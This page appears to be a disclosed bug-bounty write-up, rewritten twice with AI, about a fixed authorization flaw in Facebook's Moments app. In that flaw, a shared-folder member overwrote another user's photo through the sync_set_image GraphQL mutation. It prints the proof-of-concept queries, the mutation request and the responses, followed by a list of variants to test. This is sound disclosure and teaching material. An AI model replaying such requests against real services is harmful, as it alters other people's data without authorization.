Skip to content
Access control Write-up Intermediate

Rewriting a photo not owned by the session user in Moments App (Revisited)

A user could overwrite a photo in a shared Moments folder even though they were not the photo's owner, because the image mutation only needed the photo's UUID. An attacker who shared a folder with a victim could replace the victim's photo with their own image.

Philippe Harewood Follow

Published on philippeharewood.com

This was a regression of Rewriting a photo not owned by the session user in Moments App. Proof of Concept User A Victim User B Malicious User 1.

Philippe, on philippeharewood.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

Moments was a Facebook app for sharing photos inside private folders, where a folder is shared with a set of connected users. Each photo in a folder is a sync object with its own numeric id and a uuid, and the app reads and writes those objects through Facebook's GraphQL endpoint. This write-up describes a regression of an earlier bug: a user who could merely see a photo in a shared folder could replace the image behind it, even though the photo belonged to someone else.

Setup

Two accounts are used throughout:

  • User A: the victim, and the original owner of the photo.
  • User B: the malicious user, who is connected to User A in a Moments folder.

The only precondition stated is that the two users are connected in a folder, meaning they can see the same photo. The folder used in the demonstration is called "Kraken Only". The photo to be changed is the object with id 11111111111111111 and uuid P-H-W-D, a picture of a bottle of Kraken Rum.

Finding it

The starting point is the earlier report, Rewriting a photo not owned by the session user in Moments App. The behaviour had come back: the sync_set_image mutation accepted a photo identified by uuid and rewrote it, even though the photo belonged to User A. Because User B can see the photo in the shared folder, User B can learn its identifiers, and those identifiers are all the mutation needs.

Exploitation

Step 1: Find the photo as User B

User B queries the viewer's sync objects in the Moments sandbox and inspects the result to locate the folder and the photo inside it. The call is:

Text
graphql?q=viewer(){updated_sync_objects.sync_sandbox(moments_prod).after(M){edges{cursor},nodes{__type__,id,uuid,image{uri},payload_json}}}&access_token=ACCESS_TOKEN

The query targets updated_sync_objects in the moments_prod sandbox and returns for each node its type, id, uuid, image uri and payload_json. The response contains a MomentsAppFolder node for "Kraken Only", two MomentsAppFolderMembership nodes, a MomentsAppNotification of type photo_added, and the MomentsAppPhoto node itself:

JSON
{
"viewer": {
"updated_sync_objects": {
"edges": [
{
"cursor": "MTQ"
},
{
"cursor": "MTQ"
},
{
"cursor": "MTQ"
},
{
"cursor": "MTQ"
},
{
"cursor": "MTQ"
}
],
"nodes": [
{
"__type__": {
"name": "MomentsAppFolder"
},
"id": "555555555555",
"uuid": "1-2-3-4",
"image": null,
"payload_json": "{\"title\":\"Kraken Only\"}"
},
{
"__type__": {
"name": "MomentsAppFolderMembership",
},
"id": "33333333333333333",
"uuid": "2-4-6-8",
"image": null,
"payload_json": "{\"folderUUID\":\"1-2-3-4-\",\"initiatorUUID\":\"fb:A\",\"participantUUID\":\"fb:B\"}"
},
{
"__type__": {
"name": "MomentsAppFolderMembership"
},
"id": "44444444444444444",
"uuid": "3-4-5-6",
"image": null,
"payload_json": "{\"confirmedDate\":1477576449,\"confirmerUUID\":\"fb:A\",\"folderUUID\":\"1-2-3-4-\",\"initiatorUUID\":\"fb:A\",\"participantUUID\":\"fb:A\"}"
},
{
"__type__": {
"name": "MomentsAppNotification"
},
"id": "777777777777777777",
"uuid": "6-7-8-9",
"image": null,
"payload_json": "{\"date\":1477576449,\"folderUUID\":\"1-2-3-4-\",\"photoUUIDs\":\"[\\\"P-H-W-D\\\"]\n\",\"recipientUUID\":\"fb:B\",\"senderUUID\":\"fb:A\",\"type\":\"photo_added\"}"
},
{
"__type__": {
"name": "MomentsAppPhoto"
},
"id": "11111111111111111",
"uuid": "P-H-W-D",
"image": {
"uri": "https://scontent.xx.fbcdn.net/t39.5527-9/p720x720/[redacted].jpg?_nc_ad=z-m"
},
"payload_json": "{\"assetIdentifier\":\"1-7-3-8\",\"date\":1470288138,\"duration\":0,\"editHash\":0,\"folderUUID\":\"1-2-3-4-\",\"hasLocation\":1,\"height\":3264,\"latitude\":36.11385,\"longitude\":-115.16089716667,\"mediaType\":\"photo\",\"originalOwnerUUID\":\"fb:A\",\"ownerUUID\":\"fb:A\",\"width\":2448,\"hiResFileSize\":85121,\"originalResStatus\":\"available\",\"origResFileSize\":1108280}"
}
]
}
}
}

The photo node carries id 11111111111111111 and uuid P-H-W-D, and its payload_json records originalOwnerUUID and ownerUUID as fb:A, the victim. The image uri points to the original photo, a bottle of Kraken Rum. The notification node also references the photo by the same uuid in photoUUIDs.

Step 2: Rewrite the image with a mutation

With the uuid P-H-W-D in hand, User B sends a sync_set_image mutation to /graphql, attaching new image data as the file:

Text
POST /graphql
query_params = {"input":"{\"actor_id\":\"B\",\"client_mutation_id\":\"1\",\"object_uuid\":\"P-H-W-D\"}"}
q = Mutation SyncAddMutations : SyncAddMutationsResponse {sync_set_image(input){sync_object { id, uuid },client_mutation_id}}

The mutation selects the resulting sync_object id and uuid plus the client_mutation_id. The response confirms the write against the victim's object:

JSON
{
"sync_set_image": {
"sync_object": {
"id": "11111111111111111",
"uuid": "P-H-W-D"
},
"client_mutation_id": "1"
}
}

The photo is now a pumpkin filled with Captain Morgan.

Text
https://scontent.xx.fbcdn.net/t39.5527-9/[redacted].jpg?_nc_ad=z-m

The original URI should now be removed:

Text
https://scontent.xx.fbcdn.net/t39.5527-9/p720x720/[redacted].jpg?_nc_ad=z-m

Step 3: Verify the change

A node lookup on the object id returns the new image URI:

Text
graphql?q=node(11111111111111111){image{uri}}
JSON
{
"11111111111111111": {
"image": {
"uri": "https://scontent.xx.fbcdn.net/t39.5527-9/[redacted].jpg?_nc_ad=z-m"
}
}
}

Step 4: Confirm in the clients

The change is also reflected in the Moments app on iPhone and on mobile web:

Text
https://m.facebook.com/moments_app/987654321/

Root cause

The sync_set_image mutation allowed User B to rewrite User A's photo, even though the photo's payload_json records ownerUUID and originalOwnerUUID as fb:A. The photo's payload_json already records ownerUUID and originalOwnerUUID as fb:A, and the mutation input carries an actor_id for User B, so the ownership information needed to reject the request was present on both sides. The report does not describe the server-side code, so the exact location of the missing check is not stated.

Impact

The impact is limited to users who can see the same Moments photo. Within that group, a member who can see another member's photo can replace the image behind it, and the change shows in the Moments clients on iPhone and mobile web. The report does not describe any further effect beyond the image replacement.

Fix

Facebook fixed the issue on 11 November 2016. The suggested change is the same as for the previous bug: ensure that only the owner can change the photo.

Variants to test

  1. Ownership check on sync mutations. Take a shared object you can read but do not own, and send a mutation that writes to it using its uuid as the object identifier. A positive result is a success response naming the victim's id and uuid, as in step 2.
  2. Actor versus owner mismatch. Send the write with your own actor_id against an object whose payload_json shows a different ownerUUID. A positive result is that the server accepts the mismatch instead of rejecting it.
  3. Read access used as write access. Enumerate objects through a viewer query scoped to a shared folder, then attempt writes on every object returned. A positive result is any object you can see but not own accepting a write.
  4. Regression checks after a fix. Re-run the original proof of concept against the same mutation after a patch is announced. A positive result is the mutation succeeding again, which is what happened here.

Timeline

  • Oct 27, 2016: report sent
  • Nov 9, 2016: escalation by Facebook
  • Nov 11, 2016: fixed by Facebook
  • Nov 16, 2016: bounty awarded by Facebook

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 11 min read.

What happened, in plain words

Facebook used to run a separate app called Moments. It was a place where you could put photos into private folders and share each folder with a chosen group of people, for example friends or family. Only the people connected to a folder could see the photos inside it.

This write-up is about a bug in that app. A person who could only see a photo in a shared folder was able to replace the picture behind it with a different picture, even though the photo belonged to somebody else. The person doing this did not need to be the owner. They only needed to be able to see the photo.

The bug was reported to Facebook, fixed, and a bounty was paid. The report calls this a regression: the same kind of bug had been found and fixed before, and it had come back.

Before going further, a few words that will come up constantly:

  • API: a way for one piece of software to talk to another. Think of a restaurant. The menu and the waiter are the API: you do not walk into the kitchen, you ask through a fixed set of requests, and you get a fixed set of answers. Facebook's apps talk to Facebook's servers through APIs.
  • GraphQL: a particular style of API where the client sends a query describing exactly which fields it wants back, a bit like filling in a form that says "give me the name, the id and the picture of this object".
  • Endpoint: the address (URL path) where an API accepts requests. Here the main one is /graphql.
  • Token / access token: a long string that proves who you are, like a wristband at an event. You show it with each request instead of typing your password again. It is a secret: anyone who has it can act as you.
  • Object: a single record stored on the server, for example one photo, one folder, or one membership entry. Each object has an id (a long number) and often a uuid (a shorter identifier made of letters and numbers).
  • Mutation: in GraphQL, a request that changes something, as opposed to a query that only reads. The mutation in this story is called sync_set_image and its job is to set the image of a photo object.
  • Broken authorization (also called a logic flaw): the program does the right thing technically but checks the wrong thing, or forgets to check something. A useful comparison: a hotel gives every guest a key card. If the card opens every room and not just yours, the lock works perfectly, but the rule about who may enter which room is missing. That is broken authorization.

The setup

Two accounts are used throughout the demonstration:

  1. User A is the victim. User A owns the photo.
  2. User B is the malicious user. User B is connected to User A inside a Moments folder.

The only precondition stated is that the two users are connected in a folder, which means they can see the same photo. The folder used in the demonstration is called "Kraken Only". The photo that gets changed is the object with id 11111111111111111 and uuid P-H-W-D, a picture of a bottle of Kraken Rum.

Why this was possible at all

The starting point is the earlier report, Rewriting a photo not owned by the session user in Moments App. That bug had been fixed, but the behaviour had come back. The sync_set_image mutation accepted a photo identified by its uuid and rewrote it, even though the photo belonged to User A.

Because User B can see the photo in the shared folder, User B can also learn its identifiers. And those identifiers were enough for the mutation to succeed.

Step 1: Find the photo as User B

User B asks the server for a list of the objects they can see in the Moments area, and looks through the answer to find the folder and the photo inside it. The call is:

Text
graphql?q=viewer(){updated_sync_objects.sync_sandbox(moments_prod).after(M){edges{cursor},nodes{__type__,id,uuid,image{uri},payload_json}}}&access_token=ACCESS_TOKEN

Line by line, in plain words:

  • graphql?q= is the address of the GraphQL endpoint, with the query passed in the q parameter.
  • viewer() means "the person making this request", that is, User B.
  • updated_sync_objects is the list of objects that have been synced to this user's account.
  • sync_sandbox(moments_prod) narrows that list to the Moments sandbox named moments_prod.
  • .after(M) means "start after this position in the list", the way a bookmarks bar lets you continue where you stopped. It is paging.
  • edges{cursor} asks for the paging markers, the little bookmarks.
  • nodes{...} asks for the actual objects, and for each one: its type (__type__), its id, its uuid, its image address (image{uri}) and its payload_json, which is a bundle of extra details stored as text.
  • access_token=ACCESS_TOKEN is the wristband that proves the request comes from User B. In a real request this would be a long secret string.

The server answers with this:

JSON
{
"viewer": {
"updated_sync_objects": {
"edges": [
{
"cursor": "MTQ"
},
{
"cursor": "MTQ"
},
{
"cursor": "MTQ"
},
{
"cursor": "MTQ"
},
{
"cursor": "MTQ"
}
],
"nodes": [
{
"__type__": {
"name": "MomentsAppFolder"
},
"id": "555555555555",
"uuid": "1-2-3-4",
"image": null,
"payload_json": "{\"title\":\"Kraken Only\"}"
},
{
"__type__": {
"name": "MomentsAppFolderMembership",
},
"id": "33333333333333333",
"uuid": "2-4-6-8",
"image": null,
"payload_json": "{\"folderUUID\":\"1-2-3-4-\",\"initiatorUUID\":\"fb:A\",\"participantUUID\":\"fb:B\"}"
},
{
"__type__": {
"name": "MomentsAppFolderMembership"
},
"id": "44444444444444444",
"uuid": "3-4-5-6",
"image": null,
"payload_json": "{\"confirmedDate\":1477576449,\"confirmerUUID\":\"fb:A\",\"folderUUID\":\"1-2-3-4-\",\"initiatorUUID\":\"fb:A\",\"participantUUID\":\"fb:A\"}"
},
{
"__type__": {
"name": "MomentsAppNotification"
},
"id": "777777777777777777",
"uuid": "6-7-8-9",
"image": null,
"payload_json": "{\"date\":1477576449,\"folderUUID\":\"1-2-3-4-\",\"photoUUIDs\":\"[\\\"P-H-W-D\\\"]\n\",\"recipientUUID\":\"fb:B\",\"senderUUID\":\"fb:A\",\"type\":\"photo_added\"}"
},
{
"__type__": {
"name": "MomentsAppPhoto"
},
"id": "11111111111111111",
"uuid": "P-H-W-D",
"image": {
"uri": "https://scontent.xx.fbcdn.net/t39.5527-9/p720x720/[redacted].jpg?_nc_ad=z-m"
},
"payload_json": "{\"assetIdentifier\":\"1-7-3-8\",\"date\":1470288138,\"duration\":0,\"editHash\":0,\"folderUUID\":\"1-2-3-4-\",\"hasLocation\":1,\"height\":3264,\"latitude\":36.11385,\"longitude\":-115.16089716667,\"mediaType\":\"photo\",\"originalOwnerUUID\":\"fb:A\",\"ownerUUID\":\"fb:A\",\"width\":2448,\"hiResFileSize\":85121,\"originalResStatus\":\"available\",\"origResFileSize\":1108280}"
}
]
}
}
}

What this answer contains, in order:

  • edges is the list of paging markers. All five say MTQ.
  • The first node is a MomentsAppFolder with id 555555555555 and uuid 1-2-3-4. Its payload_json says {"title":"Kraken Only"}, so this is the folder.
  • The second node is a MomentsAppFolderMembership. Its payload_json names initiatorUUID fb:A and participantUUID fb:B, which is the record of User A and User B being connected in that folder.
  • The third node is another MomentsAppFolderMembership.
  • The fourth node is a MomentsAppNotification of type photo_added, sent by fb:A to fb:B, and it mentions the photo by its uuid P-H-W-D in photoUUIDs.
  • The fifth node is the MomentsAppPhoto itself: id 11111111111111111, uuid P-H-W-D, and an image.uri pointing at the original picture.

The important part of the photo's payload_json is "originalOwnerUUID":"fb:A" and "ownerUUID":"fb:A". The server itself records that the photo belongs to User A.

So the goal of this step is simple: User B needs the uuid of the photo, and this query hands it over because User B is allowed to see the photo. The photo to be changed is 11111111111111111, and its image is the bottle of Kraken Rum at the uri shown above.

Step 2: Rewrite the image with a mutation

Now that User B knows the uuid P-H-W-D, User B sends a mutation to /graphql that sets a new image on that object, attaching the new picture as a file:

Text
POST /graphql
query_params = {"input":"{\"actor_id\":\"B\",\"client_mutation_id\":\"1\",\"object_uuid\":\"P-H-W-D\"}"}
q = Mutation SyncAddMutations : SyncAddMutationsResponse {sync_set_image(input){sync_object { id, uuid },client_mutation_id}}

Line by line:

  • POST /graphql means "send this request to the /graphql address using the POST method", which is the method used when you are sending data to the server rather than just asking for it.
  • query_params holds the input, a bundle of three things:
    • actor_id is B, meaning "the person doing this is User B".
    • client_mutation_id is 1, a label the client picks so it can match the answer to the request. It is like a ticket number.
    • object_uuid is P-H-W-D, the photo to change.
  • q describes the mutation: sync_set_image(input) is the operation, and the part in braces says what to return afterwards, namely the resulting object's id and uuid plus the client_mutation_id.
  • The file attached to the request is the new image data.

The server answers:

JSON
{
"sync_set_image": {
"sync_object": {
"id": "11111111111111111",
"uuid": "P-H-W-D"
},
"client_mutation_id": "1"
}
}

This is the confirmation. The server says it changed the object with id 11111111111111111 and uuid P-H-W-D, which is User A's photo, and it echoes back the ticket number 1. Nothing in the answer suggests the server objected to User B doing this.

The photo is now a pumpkin filled with Captain Morgan, served from a new address:

Text
https://scontent.xx.fbcdn.net/t39.5527-9/[redacted].jpg?_nc_ad=z-m

The original picture should now be gone from this address:

Text
https://scontent.xx.fbcdn.net/t39.5527-9/p720x720/[redacted].jpg?_nc_ad=z-m

Step 3: Verify the change

To be sure the change really stuck, User B looks the object up by its id and asks only for the image address:

Text
graphql?q=node(11111111111111111){image{uri}}
  • node(11111111111111111) means "fetch the object with this id".
  • {image{uri}} means "and give me only its image address".

The answer:

JSON
{
"11111111111111111": {
"image": {
"uri": "https://scontent.xx.fbcdn.net/t39.5527-9/[redacted].jpg?_nc_ad=z-m"
}
}
}

The object now points at the new picture, the pumpkin, not the original bottle. The node lookup now returns the new picture, the pumpkin, not the original bottle.

Step 4: Confirm in the clients

The change also shows up in the Moments app on iPhone and on mobile web, at the folder address:

Text
https://m.facebook.com/moments_app/987654321/

The report notes that these changes are also reflected in Moments App on iPhone and mobile web.

Why it worked

The sync_set_image mutation allowed User B to rewrite User A's photo, even though the photo's payload_json records ownerUUID and originalOwnerUUID as fb:A. The photo's payload_json already records ownerUUID and originalOwnerUUID as fb:A, and the mutation input carries an actor_id for User B. So the information needed to say "no, this is not yours" was sitting on both sides of the request. The report does not describe the server-side code, so the exact place where the check should live is not stated.

Impact

The impact is limited to users who can see the same Moments photo. Within that group, a member who can see another member's photo can replace the image behind it, and the change shows in the Moments clients on iPhone and mobile web. The report does not describe any further effect beyond the image replacement.

Fix

Facebook fixed the issue on 11 November 2016. The suggested change is the same as for the previous bug: make sure that only the owner can change the photo.

Variants to test

These are the kinds of follow-up checks the same idea suggests:

  1. Ownership check on sync mutations. Take a shared object you can read but do not own, and send a mutation that writes to it using its uuid as the object identifier. A positive result is a success response naming the victim's id and uuid, as in step 2.
  2. Actor versus owner mismatch. Send the write with your own actor_id against an object whose payload_json shows a different ownerUUID. A positive result is that the server accepts the mismatch instead of rejecting it.
  3. Read access used as write access. List objects through a viewer query scoped to a shared folder, then attempt writes on every object returned. A positive result is any object you can see but not own accepting a write.
  4. Regression checks after a fix. Re-run the original proof of concept against the same mutation after a patch is announced. A positive result is the mutation succeeding again, which is what happened here.

Timeline

  • Oct 27, 2016: report sent
  • Nov 9, 2016: escalation by Facebook
  • Nov 11, 2016: fixed by Facebook
  • Nov 16, 2016: bounty awarded by Facebook

Glossary

  • API: a fixed way for one program to ask another program to do something, like a menu and waiter in a restaurant.
  • Access token: a secret string sent with requests to prove who you are, like a wristband at an event.
  • Actor: the user on whose behalf a request is made; here, the actor_id field.
  • Bounty: a reward paid by a company for a security report it finds useful.
  • Broken authorization: a flaw where the program fails to check whether the person making a request is allowed to do it.
  • Client: the app or browser used to talk to the server, for example the Moments app on iPhone or mobile web.
  • Cursor: a marker that says where you are in a list, used to fetch the next part of it.
  • Endpoint: the address where an API accepts requests, such as /graphql.
  • Escalation: the step recorded in the timeline as escalation by Facebook.
  • GraphQL: an API style where the request describes exactly which fields it wants back.
  • id: a long numeric identifier for an object on the server.
  • Mutation: a GraphQL request that changes data, as opposed to a query that only reads it.
  • Object: a single stored record, such as one photo, folder or membership entry.
  • payload_json: a bundle of extra details about an object, stored as text in JSON format.
  • POST: the HTTP method used to send data to a server.
  • Proof of concept (PoC): a step-by-step demonstration that a bug really works.
  • Query: a request that only reads data.
  • Regression: a bug that was fixed before and has come back.
  • Sandbox: a named area of the system that groups related data; here moments_prod.
  • Sync object: an object that the app keeps in step between the server and the user's devices.
  • URI: an address for a resource, such as the address of an image file.
  • uuid: a shorter identifier made of letters and numbers, used to refer to an object.
  • Viewer: the person making the request, as seen by the server.

More by Philippe Harewood

View all

12 more disclosed reports, best first.

More from Meta

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.